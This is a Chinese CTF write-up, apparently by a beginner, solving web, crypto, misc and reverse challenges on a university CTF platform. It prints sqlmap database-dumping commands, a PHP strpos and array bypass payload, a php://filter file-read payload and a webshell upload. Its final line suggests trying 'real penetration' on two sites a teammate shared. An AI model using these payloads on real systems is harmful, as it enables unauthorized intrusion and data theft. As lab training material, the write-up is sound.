@Time:2018/9/19
记一次对我这个新手来说,较为简单的CTF
访问 http://ctf.xjnu.edu.cn:9900/web10/
暗示使用sqlmap,没办法,跑呗
参数也给上了。
sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 --current-db --batch
一跑就出来了,database()=web1
sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 -D web1 --tables --batch
table=flag
sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 -D web1 -T flag --columns --batch
column=flag
sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 -D web1 -T flag -C "flag" --dump --batch
get flag! flag{Test_y0u_sql_Inject!}
http://ctf.xjnu.edu.cn:9900/web20/
显示没有登录,那肯定就是要我登录咯,看看cookie
显而易见,设置一个login=1
IOS 999?有这牌子吗,,看情况就是UA的问题了,网上找一个
再看请求头
shell下的编辑器,那很容易就想到是vi,vi泄露就是那几种,swp,~,swo,果然,访问
http://ctf.xjnu.edu.cn:9900/web30/index.php.swo
好吧,审计吧,
get一个 ctf=!#?&@ 然而没有反应,是这个”&“的锅,因为在url里面这“&”是连接的作用,所有无法get到 !#?&@,url加密一下
接下来是get一个password,第一需要匹配数字或者字母,也就是不能出现符号,第二就是需要含有 ‘--’ ,自相矛盾了??
这就得看漏洞了,strpos的漏洞,两种方法绕过,第一就是数组绕过 password[]=666 ,第二就是 %00 截断
没有报错,证明是可以的了,继续
我卡死在这里贼久,以为上传array就行了,我就写了个xjnu=array("bar1"=>"a","bar2"=>"b"),后来又是变换各种形式,转url啊,换数组的形式啊,都是于事无补,最后发现问题,就是传上去的其实都是字符,没法解析成数组,所以就改了方式,
xjnu[]=bar1
这样就能够传输数组了,接着,如下图,第一句是要求 xjnu[bar1]不是数字,下面那串,在这里没用,
构造xjnu[bar1]=a
下面这一第一句,就是要bar2的长度等于3,而且,bar2[0]也是一个数组,
第二句foreach,过滤了2018,但是又要匹配2018,那就用2017.9999999999999999来绕过
最后得到payload
?ctf=!%23%3f%26%40&password=9%00--&xjnu[bar1]=a&xjnu[bar2][0][]=a&xjnu[bar2][0][]=b&xjnu[bar2][]=2017.99999999999999999999&xjnu[bar2][]=a
http://ctf.xjnu.edu.cn:9900/web40/
信息泄露哈哈哈
.git一波,下载了个Githack,直接down
http://ctf.xjnu.edu.cn:9900/web80/
又是一个git
但是这里却没有任何东西
用wget抓取一下整个.git
wget -c -r -np -k -L -p http://ctf.xjnu.edu.cn:9900/web80/.git/
查看一下git日志, git log -p 发现了一个链接
访问 http://ctf.xjnu.edu.cn:9900/web80/flag_Revenge_2333333.php
是个md5强碰撞,不过现在的md5碰撞实现也不难了,之前也遇到过挺多次,但是这次是居然没有成功,,试过了很多个数据,也用过生成工具,就是弄不出来,最后看到了一位大佬以前的wp https://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html
得到下面这两个
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
http://ctf.xjnu.edu.cn:666
访问得到下面,一个文件上传,貌似还可以读取文件
文件读取 payload: ?file=php://filter/read=convert.base64-encode/resource=upload.php
base64解码得到:
白名单过滤,把我已知的所有上传绕过姿势全部都试过了一遍,.htaccess,00,都是无法绕过,后来想着用伪协议,由于禁用phar,于是使用了一次zip伪协议,然而还是没有成功。
之后偶然发现,上传到upload下的所有图片都会按照php解析,
于是,上传一个马,直接getshell,
http://ctf.xjnu.edu.cn:9900/base1/base1.html
这张图反过来看就是一串数字,缺了87
再看源代码
md5(num)[:5],那这个num就是87,找个md5网站,md5加密,然后取前五个
所以flag:
flag{Math_is_Here_c7e12!}
笨方法,一个一个套进去
等差数列,写个脚本就好
flag{233333333166666668}
666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d
一串十六进制,第一反应想到的当然是转字符串啊!
直接上脚本
r = '666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d'
x = ''
for i in range(0,74,2):
x += chr(int('0x'+r[i:i+2],16))
print(x)
flag{Just_t3st_h4v3_f4n_hahaha_6666!}
玩烂了的套路,就直接上脚本好了
flag{xjnu66seck88ctf}
这题是真的很懵,关注微博,以为要我自己去找flag,最后没办法,直接私信,没想到有个自动回复
一张图片,直接用UE打开,
一张图片,UE分析一下,查找一下FF D9,
可能是有两张图片,foremost分离看看,得到flag
这道题是真的皮!!!
老套路,用UE打开图片,jpg图片以ff d8开头,以ff d9结尾,发现在ff d9之后,有一段看不懂的字符,猜测这就是线索
以为又是什么转进制啥的,忙活了半天没有发现线索,先把那串16进制都拷下来,各自都加上了\x,这样就可以直接print出来他的字符(这也是这次学到的hh),发现与UE上面的没什么出入
最后在网上发现一篇文章,是讲编码导致乱码的,于是乎,decode,试了几种编码,还是utf8管用
马克思主义基本原理概论???李时珍的皮
这我就没办法了,版本没跟我讲umm
这道题,说实话,就看你知不知道word文档就是一个压缩包了,改后缀为zip,解压
一张图片,上神器stegsolve,data extract一下
老套路,一张图片,是个二维码,但是一扫,发现,,
只能寻找其他的线索了,Ue打开一看,发现了一串数字
看样子应该是破解这串数字了,这里有两点,第一,都是小于8的数,第二,每三个数似乎是一个可以转成字符的集体,于是写脚本
code = "146154141147173110141166145137171060125137120171137163143162151160164137117164143137124157137124145156137101163143151151041175"
a = ''
for i in range(0,len(code),3):
try:
a += chr(int(code[i:i+3],8))
except:
pass
print(a)
这个过程看似很简单,,我还是走了好多的弯路,脑洞脑洞,玩不起玩不起
点进去居然是个登录,@_@
源代码发现一些线索
把图片 3.jpg 下载下来之后发现了
那么现在,我们得到了三串数字,一切明朗了,是个RSA
m = 58768105316148841999777370412186936018625486668532134194761549884510599390592
e = 3
n = 87924348264132406875276140514499937145050893665602592992418171647042491658461
通过一个很牛叉的网站 http://factordb.com 分解出了 p和q
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
写一句python,可以算出(p-1)*(q-1) : print((p-1)*(q-1)) 也就是 φ(n)
φ(n) = 87924348264132406875276140514499937144456189488436765114374296308467862464924
接下来利用RSAtools得到d
d = 58616232176088271250184093676333291429637459658957843409582864205645241643283
然后就可以计算密文 c 了
print(pow(m,d,n))
c = 38321129010640640909392952790092312686738804185583229
一串数字? 那就变成字符串把,
先变成16进制 print(hex(c)) c = 666c61677b525f535353415f31735f53305f66554e7d(16)
上神器 converter
baby.exe,先拿ida分析一下,发现了这些东西
按 r 转成字符串,就拿到flag。。。
ummmm,写到最后还是有两道web没有写出来,一道post注入,黑名单也过滤的太多了吧,在这里还是学到了一个with rollup
虽然还是没有写出来ummm,因为group by中的by也在黑名单一列,,我实在太菜,,后面一道whois,说实话,我是真的菜,看不懂ummm,
misc30太骚,我也就不说话了,,
pwn,哈哈哈,不是pwn选手,无从下手
就这样了,总结一句话,我是真的菜,不说了不说了,再去练两年dvwa吧
不过对刚刚队友给我的两个小黄网更感兴趣,毕竟真正的渗透实战我是真的缺乏,撸完再见![\滑稽]